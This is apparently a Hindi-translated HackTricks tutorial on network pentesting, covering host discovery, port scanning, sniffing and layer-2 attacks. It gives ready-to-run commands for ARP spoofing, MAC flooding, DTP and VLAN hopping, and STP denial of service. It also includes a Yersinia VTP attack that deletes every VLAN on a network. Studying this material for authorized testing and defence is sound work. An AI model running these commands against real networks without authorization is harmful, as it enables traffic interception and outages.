.. | ||
dhcpv6.md | ||
eigrp-attacks.md | ||
glbp-and-hsrp-attacks.md | ||
ids-evasion.md | ||
lateral-vlan-segmentation-bypass.md | ||
network-protocols-explained-esp.md | ||
nmap-summary-esp.md | ||
pentesting-ipv6.md | ||
README.md | ||
spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md | ||
spoofing-ssdp-and-upnp-devices.md |
पेंटेस्टिंग नेटवर्क
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS रेड टीम एक्सपर्ट) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर 🐦 @carlospolopm को फॉलो करें.
- अपनी हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud github repos में PRs सबमिट करके.
बग बाउंटी टिप: Intigriti के लिए साइन अप करें, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! आज ही हमसे https://go.intigriti.com/hacktricks पर जुड़ें, और $100,000 तक की बाउंटी कमाना शुरू करें!
{% embed url="https://go.intigriti.com/hacktricks" %}
बाहर से होस्ट्स की खोज
यह एक संक्षिप्त अनुभाग होगा जिसमें बताया जाएगा कि इंटरनेट से प्रतिक्रिया देने वाले IPs का पता कैसे लगाया जाए।
इस स्थिति में आपके पास कुछ IPs का दायरा होता है (शायद कई रेंजेस) और आपको बस यह पता लगाना होता है कि कौन से IPs प्रतिक्रिया दे रहे हैं।
ICMP
यह होस्ट अप है या नहीं यह जानने का सबसे आसान और सबसे तेज़ तरीका है।
आप कुछ ICMP पैकेट्स भेजकर प्रतिक्रियाओं की अपेक्षा कर सकते हैं। सबसे आसान तरीका है एक इको रिक्वेस्ट भेजना और प्रतिक्रिया की अपेक्षा करना। आप यह ping
का उपयोग करके या रेंजेस के लिए fping
का उपयोग करके कर सकते हैं।
आप nmap का उपयोग करके अन्य प्रकार के ICMP पैकेट्स भी भेज सकते हैं (यह सामान्य ICMP इको रिक्वेस्ट-रिस्पॉन्स के लिए फिल्टर्स से बचने में मदद करेगा)।
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCP पोर्ट खोज
यह बहुत आम है कि सभी प्रकार के ICMP पैकेट्स को फ़िल्टर किया जा रहा है। तब, यदि आपको जांचना है कि कोई होस्ट चालू है या नहीं, तो आप खुले पोर्ट्स की खोज कर सकते हैं। प्रत्येक होस्ट के 65535 पोर्ट्स होते हैं, इसलिए, यदि आपके पास एक "बड़ा" दायरा है तो आप नहीं जांच सकते कि प्रत्येक होस्ट का प्रत्येक पोर्ट खुला है या नहीं, इसमें बहुत समय लगेगा।
तब, आपको जो चाहिए वह है एक तेज़ पोर्ट स्कैनर (masscan) और अधिक प्रयुक्त पोर्ट्स की सूची:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
HTTP पोर्ट डिस्कवरी
यह केवल एक TCP पोर्ट डिस्कवरी है जो तब उपयोगी होती है जब आप HTTP सेवाओं की खोज पर ध्यान केंद्रित करना चाहते हैं:
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP पोर्ट खोज
आप यह जांचने के लिए भी प्रयास कर सकते हैं कि कोई UDP पोर्ट खुला है या नहीं, ताकि तय कर सकें कि क्या आपको किसी होस्ट पर अधिक ध्यान देना चाहिए। चूंकि UDP सेवाएं आमतौर पर एक सामान्य खाली UDP प्रोब पैकेट के जवाब में कोई डेटा नहीं भेजतीं, इसलिए यह तय करना मुश्किल होता है कि पोर्ट फ़िल्टर किया जा रहा है या खुला है। इसका निर्णय लेने का सबसे आसान तरीका है कि संबंधित सेवा के लिए एक पैकेट भेजा जाए, और चूंकि आपको नहीं पता कि कौन सी सेवा चल रही है, आपको पोर्ट नंबर के आधार पर सबसे संभावित सेवा का प्रयास करना चाहिए:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
पहले प्रस्तावित nmap लाइन **शीर्ष 1000 UDP पोर्ट्स** का परीक्षण हर होस्ट में **/24** रेंज के अंदर करेगी लेकिन यहाँ तक कि केवल यह भी **>20min** लेगा। यदि आपको **सबसे तेज परिणाम** चाहिए तो आप [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) का उपयोग कर सकते हैं: `./udp-proto-scanner.pl 199.66.11.53/24` यह इन **UDP प्रोब्स** को उनके **अपेक्षित पोर्ट** पर भेजेगा (एक /24 रेंज के लिए यह केवल 1 मिनट लेगा): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### SCTP पोर्ट डिस्कवरी
#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>
पेंटेस्टिंग वाईफाई
यहाँ आप लेखन के समय के सभी प्रसिद्ध वाईफाई हमलों का एक अच्छा मार्गदर्शिका पा सकते हैं:
{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}
अंदर से होस्ट्स की खोज
यदि आप नेटवर्क के अंदर हैं तो पहली चीजें जो आप करना चाहेंगे वह है अन्य होस्ट्स की खोज करना। आप कितना शोर कर सकते हैं/करना चाहते हैं, इस पर निर्भर करते हुए, विभिन्न क्रियाएं की जा सकती हैं:
पैसिव
आप इन उपकरणों का उपयोग करके एक जुड़े नेटवर्क के अंदर पैसिव रूप से होस्ट्स की खोज कर सकते हैं:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
सक्रिय
ध्यान दें कि बाहर से होस्ट्स की खोज (TCP/HTTP/UDP/SCTP पोर्ट खोज) में चर्चित तकनीकें यहां भी लागू की जा सकती हैं।
लेकिन, चूंकि आप अन्य होस्ट्स के समान नेटवर्क में हैं, आप अधिक चीजें कर सकते हैं:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
सक्रिय ICMP
ध्यान दें कि Discovering hosts from the outside (ICMP) में बताई गई तकनीकें यहाँ भी लागू की जा सकती हैं।
लेकिन, चूंकि आप अन्य होस्ट्स के समान नेटवर्क में हैं, आप और भी चीजें कर सकते हैं:
- यदि आप सबनेट ब्रॉडकास्ट पते को पिंग करते हैं तो पिंग हर होस्ट तक पहुंचनी चाहिए और वे आपको प्रतिक्रिया दे सकते हैं:
ping -b 10.10.5.255
- नेटवर्क ब्रॉडकास्ट पते को पिंग करके आप अन्य सबनेट्स के अंदर के होस्ट्स को भी ढूंढ सकते हैं:
ping -b 255.255.255.255
- होस्ट खोज करने के लिए
nmap
के-PE
,-PP
,-PM
फ्लैग्स का उपयोग करें जो क्रमशः ICMPv4 इको, टाइमस्टैम्प, और सबनेट मास्क अनुरोध भेजते हैं:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan का उपयोग कंप्यूटरों को नेटवर्क संदेश के माध्यम से चालू करने के लिए किया जाता है। कंप्यूटर को चालू करने के लिए इस्तेमाल किया जाने वाला मैजिक पैकेट केवल एक पैकेट होता है जिसमें MAC Dst दिया गया होता है और फिर उसे उसी पैकेट में 16 बार दोहराया जाता है।
फिर इस प्रकार के पैकेट्स आमतौर पर ईथरनेट 0x0842 में या UDP पैकेट के रूप में पोर्ट 9 पर भेजे जाते हैं।
यदि कोई [MAC] प्रदान नहीं किया गया है, तो पैकेट ब्रॉडकास्ट ईथरनेट को भेजा जाता है (और ब्रॉडकास्ट MAC वही होगा जो दोहराया जा रहा है)।
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
होस्ट्स स्कैनिंग
एक बार जब आप सभी आईपी (बाहरी या आंतरिक) की खोज कर लेते हैं जिन्हें आप गहराई से स्कैन करना चाहते हैं, विभिन्न क्रियाएं की जा सकती हैं।
TCP
- खुला पोर्ट: SYN --> SYN/ACK --> RST
- बंद पोर्ट: SYN --> RST/ACK
- फ़िल्टर्ड पोर्ट: SYN --> [कोई प्रतिक्रिया नहीं]
- फ़िल्टर्ड पोर्ट: SYN --> ICMP संदेश
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
UDP पोर्ट स्कैन करने के लिए 2 विकल्प हैं:
- UDP पैकेट भेजें और यदि पोर्ट बंद है तो ICMP unreachable प्रतिक्रिया की जांच करें (कई मामलों में ICMP फ़िल्टर्ड होगा इसलिए आपको कोई जानकारी नहीं मिलेगी अगर पोर्ट बंद है या खुला है)।
- सेवा से प्रतिक्रिया प्राप्त करने के लिए फॉर्मेटेड डेटाग्राम्स भेजें (उदाहरण के लिए, DNS, DHCP, TFTP, और अन्य, जैसा कि nmap-payloads में सूचीबद्ध है)। यदि आपको प्रतिक्रिया मिलती है, तो, पोर्ट खुला है।
Nmap "-sV" का उपयोग करके दोनों विकल्पों को मिलाएगा (UDP स्कैन बहुत धीमे होते हैं), लेकिन ध्यान दें कि UDP स्कैन, TCP स्कैन की तुलना में धीमे होते हैं:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP स्कैन
SCTP, TCP और UDP के साथ बैठता है। IP पर टेलीफोनी डेटा के परिवहन को प्रदान करने के लिए इरादा, प्रोटोकॉल SS7 (Signaling System 7) की कई विश्वसनीयता सुविधाओं को दोहराता है, और SIGTRAN के रूप में जाने जाने वाले बड़े प्रोटोकॉल परिवार का आधार है। SCTP का समर्थन ऑपरेटिंग सिस्टम्स जैसे IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, और VxWorks द्वारा किया जाता है।
SCTP के लिए nmap द्वारा दो अलग-अलग स्कैन प्रस्तावित हैं: -sY और -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDS और IPS चकमा देना
{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}
और nmap विकल्प
{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}
आंतरिक IP पते प्रकट करना
गलत कॉन्फ़िगर किए गए राउटर, फ़ायरवॉल, और नेटवर्क उपकरण कभी-कभी प्रतिक्रिया देते हैं नेटवर्क प्रोब्स को गैर-सार्वजनिक स्रोत पतों का उपयोग करके। आप tcpdump का उपयोग कर सकते हैं पैकेट्स की पहचान करने के लिए जो निजी पतों से प्राप्त होते हैं परीक्षण के दौरान। इस मामले में, Kali Linux में eth2 इंटरफ़ेस संबोधित किया जा सकता है सार्वजनिक इंटरनेट से (यदि आप पीछे हैं एक NAT का या एक Firewall का तो इस प्रकार के पैकेट्स शायद फ़िल्टर किए जाएंगे)।
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
स्निफिंग
स्निफिंग के माध्यम से आप IP रेंज, सबनेट साइज, MAC पते, और होस्टनेम की विस्तृत जानकारी पकड़े गए फ्रेम्स और पैकेट्स की समीक्षा करके सीख सकते हैं। यदि नेटवर्क गलत तरीके से कॉन्फ़िगर किया गया है या स्विचिंग फैब्रिक तनाव में है, तो हमलावर पैसिव नेटवर्क स्निफिंग के माध्यम से संवेदनशील सामग्री कैप्चर कर सकते हैं।
यदि एक स्विच्ड ईथरनेट नेटवर्क सही ढंग से कॉन्फ़िगर किया गया है, तो आप केवल ब्रॉडकास्ट फ्रेम्स और आपके MAC पते के लिए नियत सामग्री ही देख पाएंगे।
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
आप वास्तविक समय में Wireshark के GUI के साथ SSH सत्र के माध्यम से एक दूरस्थ मशीन से पैकेट्स को भी कैप्चर कर सकते हैं।
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
स्पष्ट है।
क्रेडेंशियल्स कैप्चर करना
आप https://github.com/lgandx/PCredz जैसे टूल्स का उपयोग करके pcap या लाइव इंटरफेस से क्रेडेंशियल्स पार्स कर सकते हैं।
LAN हमले
ARP स्पूफिंग
ARP स्पूफिंग में ग्रैच्युइटस ARPResponses भेजना शामिल है जिससे यह संकेत मिलता है कि किसी मशीन का IP हमारे डिवाइस के MAC के साथ है। फिर, पीड़ित ARP टेबल को बदल देगा और जब भी वह स्पूफ किए गए IP से संपर्क करना चाहेगा, हमारी मशीन से संपर्क करेगा।
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - CAM ओवरफ्लो
स्विच के CAM टेबल को अलग-अलग स्रोत MAC पते के साथ बहुत सारे पैकेट्स भेजकर ओवरफ्लो करें। जब CAM टेबल भर जाती है तो स्विच हब की तरह व्यवहार करने लगता है (सभी ट्रैफिक को ब्रॉडकास्ट करना)।
macof -i <interface>
आधुनिक स्विचेस में यह कमजोरी ठीक कर दी गई है।
802.1Q VLAN / DTP हमले
डायनामिक ट्रंकिंग
DTP (डायनामिक ट्रंकिंग प्रोटोकॉल) एक लिंक परत प्रोटोकॉल है जिसे स्वचालित ट्रंकिंग सिस्टम प्रदान करने के लिए डिजाइन किया गया है। DTP के साथ, स्विच तय करते हैं कि कौन सा पोर्ट ट्रंक मोड (Trunk) में काम करेगा और कौन सा नहीं। DTP का उपयोग खराब नेटवर्क डिजाइन को दर्शाता है। ट्रंक्स को सख्ती से वहां होना चाहिए जहां उनकी जरूरत है, और इसे दस्तावेजीकृत किया जाना चाहिए।
डिफ़ॉल्ट रूप से, सभी स्विच पोर्ट्स डायनामिक ऑटो मोड में काम करते हैं। यह दर्शाता है कि स्विच पोर्ट पड़ोसी स्विच से ट्रंक प्रारंभिक मोड में है। Pentester को भौतिक रूप से स्विच से जुड़ना होगा और DTP Desirable फ्रेम भेजना होगा, जिससे पोर्ट ट्रंक मोड में स्विच हो जाता है। हमलावर फिर STP फ्रेम विश्लेषण का उपयोग करके VLANs का अनुक्रमण कर सकता है और वर्चुअल इंटरफेस बनाकर VLAN सेगमेंटेशन को बायपास कर सकता है।
कई स्विचेस डिफ़ॉल्ट रूप से डायनामिक ट्रंकिंग प्रोटोकॉल (DTP) का समर्थन करते हैं, हालांकि, जिसे एक विरोधी स्विच की नकल करने और सभी VLANs में ट्रैफिक प्राप्त करने के लिए दुरुपयोग कर सकता है। टूल dtpscan.sh एक इंटरफेस को स्निफ कर सकता है और रिपोर्ट करता है अगर स्विच डिफ़ॉल्ट मोड, ट्रंक, डायनामिक, ऑटो या एक्सेस मोड में है (यही एकमात्र है जो VLAN हॉपिंग से बचेगा)। टूल यह संकेत देगा कि स्विच कमजोर है या नहीं।
यदि यह पता चला कि नेटवर्क कमजोर है, तो आप Yersinia का उपयोग करके "ट्रंकिंग सक्षम करें" प्रोटोकॉल "DTP" का उपयोग करके लॉन्च कर सकते हैं और आप सभी VLANs से नेटवर्क पैकेट्स देख पाएंगे।
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
![](<../../.gitbook/assets/image (646) (1).png>)
VLANs की गणना करने के लिए DTP Desirable फ्रेम उत्पन्न करना भी संभव है script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py) के साथ। **किसी भी परिस्थिति में स्क्रिप्ट को बाधित न करें।** यह हर तीन सेकंड में DTP Desirable इंजेक्ट करता है। **स्विच पर गतिशील रूप से बनाए गए ट्रंक चैनल केवल पांच मिनट के लिए जीवित रहते हैं। पांच मिनट के बाद, ट्रंक बंद हो जाता है।**
sudo python3 DTPHijacking.py --interface eth0
विशिष्ट VLANs पर हमला करना
एक बार जब आप VLAN IDs और IPs मानों को जान लेते हैं, तो आप एक विशिष्ट VLAN पर हमला करने के लिए एक वर्चुअल इंटरफेस को कॉन्फ़िगर कर सकते हैं।
यदि DHCP उपलब्ध नहीं है, तो स्थिर IP पता सेट करने के लिए ifconfig का उपयोग करें।
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
स्वचालित VLAN हॉपर
डायनामिक ट्रंकिंग और वर्चुअल इंटरफेस बनाने और अन्य VLANs के अंदर होस्ट्स की खोज के बारे में चर्चा किया गया हमला इस टूल द्वारा स्वचालित रूप से किया जाता है: https://github.com/nccgroup/vlan-hopping---frogger
डबल टैगिंग
यदि हमलावर को पीड़ित होस्ट के MAC, IP और VLAN ID का मूल्य पता हो, तो वह अपने निर्धारित VLAN और पीड़ित के VLAN के साथ एक फ्रेम को डबल टैग करने की कोशिश कर सकता है और एक पैकेट भेज सकता है। चूंकि पीड़ित हमलावर के साथ वापस जुड़ने में सक्षम नहीं होगा, इसलिए हमलावर के लिए सबसे अच्छा विकल्प UDP के माध्यम से संवाद करना है उन प्रोटोकॉल्स के साथ जो कुछ दिलचस्प क्रियाएं कर सकते हैं (जैसे SNMP).
हमलावर के लिए एक और विकल्प यह है कि वह TCP पोर्ट स्कैन लॉन्च करे जिसमें एक IP को स्पूफ किया गया हो जिसे हमलावर नियंत्रित करता है और जिसे पीड़ित द्वारा पहुँचा जा सकता है (शायद इंटरनेट के माध्यम से). फिर, हमलावर दूसरे होस्ट पर स्निफ कर सकता है जो उसके स्वामित्व में है यदि उसे पीड़ित से कुछ पैकेट्स प्राप्त होते हैं।
इस हमले को करने के लिए आप scapy का उपयोग कर सकते हैं: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Lateral VLAN Segmentation Bypass
यदि आपके पास स्विच तक पहुँच है जिससे आप सीधे जुड़े हुए हैं, तो आपके पास नेटवर्क के भीतर VLAN सेगमेंटेशन को बायपास करने की क्षमता है। बस पोर्ट को ट्रंक मोड में स्विच करें (जिसे ट्रंक के रूप में जाना जाता है), लक्षित VLANs के ID के साथ वर्चुअल इंटरफेस बनाएं, और एक IP पता कॉन्फ़िगर करें। आप पते को डायनामिक रूप से (DHCP) मांगने का प्रयास कर सकते हैं या आप इसे स्थिर रूप से कॉन्फ़िगर कर सकते हैं। यह मामले पर निर्भर करता है।
{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}
Layer 3 Private VLAN Bypass
अतिथि वायरलेस नेटवर्क और अन्य पर्यावरणों में, प्राइवेट VLAN (जिसे पोर्ट आइसोलेशन के रूप में भी जाना जाता है) सेटिंग्स का उपयोग साथियों के बीच इंटरैक्शन को रोकने के लिए किया जाता है (अर्थात्, ग्राहक वायरलेस एक्सेस पॉइंट से जुड़ते हैं लेकिन एक दूसरे को पता नहीं कर सकते). नेटवर्क ACLs (या उनकी अनुपस्थिति) के आधार पर, यह संभव हो सकता है कि आईपी पैकेट्स को एक राउटर तक भेजा जाए, जो फिर उन्हें एक पड़ोसी साथी को वापस भेज देता है।
यह हमला एक विशेष रूप से तैयार किए गए पैकेट को ग्राहक के IP पर लेकिन राउटर के MAC के साथ भेजेगा। फिर, राउटर पैकेट को ग्राहक के पास पुनः निर्देशित करेगा। Double Tagging Attacks की तरह आप इस कमजोरी का शोषण कर सकते हैं जब आप पीड़ित द्वारा सुलभ एक होस्ट को नियंत्रित करते हैं।
VTP Attacks
VTP (VLAN Trunking Protocol) एक प्रोटोकॉल है जिसे VLANs को केंद्रीय रूप से प्रबंधित करने के लिए डिजाइन किया गया है। वर्तमान VLAN डेटाबेस को ट्रैक करने के लिए, स्विच विशेष संशोधन संख्याओं की जांच करते हैं। जब कोई तालिका अपडेट होती है, तो संशोधन संख्या एक से बढ़ जाती है। और यदि कोई स्विच एक उच्च संशोधन संख्या के साथ एक कॉन्फ़िगरेशन का पता लगाता है, तो यह अपने VLAN डेटाबेस को स्वचालित रूप से अपडेट करेगा।
VTP डोमेन में भूमिकाएँ
- VTP सर्वर। VTP सर्वर भूमिका में एक स्विच नए VLANs बना सकता है, पुराने वालों को हटा सकता है, या VLANs में स्वयं की जानकारी बदल सकता है। यह डोमेन के अन्य सदस्यों के लिए VTP घोषणाएँ भी उत्पन्न करता है।
- VTP क्लाइंट। इस भूमिका में एक स्विच डोमेन के अन्य स्विचों से विशिष्ट VTP घोषणाएँ प्राप्त करेगा ताकि अपने स्वयं के VLAN डेटाबेस को अपडेट कर सके। क्लाइंट्स की VLANs बनाने की क्षमता सीमित होती है और उन्हें स्थानीय रूप से VLAN कॉन्फ़िगरेशन बदलने की भी अनुमति नहीं होती है। दूसरे शब्दों में, केवल पढ़ने की अनुमति।
- VTP पारदर्शी। इस मोड में, स्विच VTP प्रक्रियाओं में भाग नहीं लेता है और पूरे VLAN कॉन्फ़िगरेशन का पूर्ण और स्थानीय प्रशासन कर सकता है। पारदर्शी मोड में काम करते समय, स्विच केवल अन्य स्विचों से VTP घोषणाएँ प्रसारित करते हैं बिना उनके VLAN कॉन्फ़िगरेशन को प्रभावित किए। ऐसे स्विचों की हमेशा एक संशोधन संख्या शून्य होगी और उन पर हमला नहीं किया जा सकता।
विज्ञापन प्रकार
- समरी विज्ञापन — VTP सर्वर द्वारा हर 300 सेकंड (5 मिनट) में भेजा जाने वाला VTP घोषणा। इस घोषणा में VTP डोमेन नाम, प्रोटोकॉल संस्करण, समय-मुहर, और MD5 कॉन्फ़िगरेशन हैश मूल्य संग्रहीत होते हैं।
- सबसेट विज्ञापन — यह VTP विज्ञापन है जो VLAN कॉन्फ़िगरेशन में बदलाव होने पर भेजा जाता है।
- विज्ञापन अनुरोध — यह VTP क्लाइंट द्वारा VTP सर्वर से समरी विज्ञापन संदेश के लिए एक अनुरोध है। आमतौर पर यह तब भेजा जाता है जब किसी स्विच ने एक समरी विज्ञापन का पता लगाया होता है जिसमें एक उच्च कॉन्फ़िगरेशन संशोधन संख्या होती है।
VTP को केवल एक ट्रंक पोर्ट से हमला किया जा सकता है, क्योंकि VTP घोषणाएँ केवल ट्रंक पोर्ट्स पर प्रसारित और प्राप्त की जाती हैं। इसलिए, DTP पर हमला करने के बाद pentesting करते समय, आपका अगला लक्ष्य VTP हो सकता है। VTP डोमेन पर हमला करने के लिए आप Yersinia का उपयोग कर सकते हैं जो एक VTP इंजेक्ट चलाएगा जो पूरे VLAN डेटाबेस को मिटा देगा और इस प्रकार नेटवर्क को ठप कर देगा।
{% hint style="info" %} VTP प्रोटोकॉल में तीन संस्करण होते हैं। इस पोस्ट में हमला पहले संस्करण, VTPv1 के खिलाफ है। {% endhint %}
yersinia -G #For graphic mode
पूरे VLAN डेटाबेस को मिटाने के लिए, deleting all VTP vlans विकल्प का चयन करें
STP हमले
यदि आप अपने इंटरफेस पर BPDU फ्रेम्स को कैप्चर नहीं कर सकते हैं, तो STP हमले में सफल होने की संभावना कम है।
STP BPDU DoS
बहुत सारे BPDUs TCP (Topology Change Notification) या Conf (जो BPDUs टोपोलॉजी बनाते समय भेजे जाते हैं) भेजने से स्विच ओवरलोड हो जाते हैं और सही ढंग से काम करना बंद कर देते हैं।
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
STP TCP Attack
जब एक TCP भेजा जाता है, तो स्विचेस की CAM टेबल 15 सेकंड में मिट जाएगी। फिर, यदि आप इस प्रकार के पैकेट्स को लगातार भेज रहे हैं, तो CAM टेबल लगातार पुनः आरंभ होगी (या हर 15 सेकंड में) और जब यह पुनः आरंभ होती है, तो स्विच एक हब की तरह व्यवहार करता है
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
STP Root Attack
हमलावर नेटवर्क के STP रूट बनने के लिए स्विच के व्यवहार का अनुकरण करता है। फिर, अधिक डेटा उसके माध्यम से गुजरेगा। यह दिलचस्प होता है जब आप दो अलग-अलग स्विचों से जुड़े होते हैं।
यह BPDUs CONF पैकेट्स भेजकर किया जाता है जो कहते हैं कि priority मान वास्तविक रूट स्विच की वास्तविक प्राथमिकता से कम है।
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
यदि हमलावर 2 स्विचों से जुड़ा होता है, तो वह नए ट्री का रूट हो सकता है और उन स्विचों के बीच का सारा ट्रैफिक उसके माध्यम से गुजरेगा (एक MITM हमला किया जाएगा)।
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
CDP हमले
CISCO Discovery Protocol वह प्रोटोकॉल है जिसका उपयोग CISCO उपकरण आपस में बातचीत करने के लिए करते हैं, यह पता लगाने के लिए कि कौन जीवित है और उनके पास क्या सुविधाएँ हैं।
सूचना संग्रहण
